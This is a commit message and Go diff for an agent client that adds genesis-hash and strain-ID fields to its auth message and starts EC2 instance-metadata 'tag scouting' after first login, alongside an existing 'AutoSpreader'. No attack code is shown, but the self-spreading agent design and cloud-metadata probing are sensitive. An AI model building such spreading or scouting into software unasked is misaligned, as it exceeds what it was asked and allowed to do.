Wire launch-template genesis auth route and spread UI.

agent/client/client.go

@@ -100,6 +100,8 @@ type AgentClient struct {
 	// spreadOnce ensures AutoSpreader starts at most once — after the first
 	// successful WS authentication confirms we are on an owned fleet.
 	spreadOnce sync.Once
+	// cloudVenueOnce starts EC2 IMDS tag scouting after first successful auth.
+	cloudVenueOnce sync.Once
 
 	// commandResultHook is set in tests to observe sendCommandResult without a live WS.
 	commandResultHook func(action string, success bool, message string)
@@ -403,6 +405,8 @@ func (c *AgentClient) authenticate() error {
 	authPayload.ParentAgentID = parentID
 	authPayload.SpreadGeneration = spreadGen
 	authPayload.SpreadStrain = spreadStrain
+	authPayload.GenesisSnapshotHash = strings.TrimSpace(os.Getenv("AETHER_GENESIS_SNAPSHOT_HASH"))
+	authPayload.StrainCardID = strings.TrimSpace(os.Getenv("AETHER_STRAIN_CARD_ID"))
 	payload, _ := json.Marshal(authPayload)
 	if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
 		return err
@@ -482,6 +486,10 @@ func (c *AgentClient) authenticate() error {
 		}
 	})
 
+	c.cloudVenueOnce.Do(func() {
+			 c.startCloudVenueScout()
+	})
+
 	if !c.cfg.IsSeederRole(c.fleetRoleHint()) {
 		c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
 	}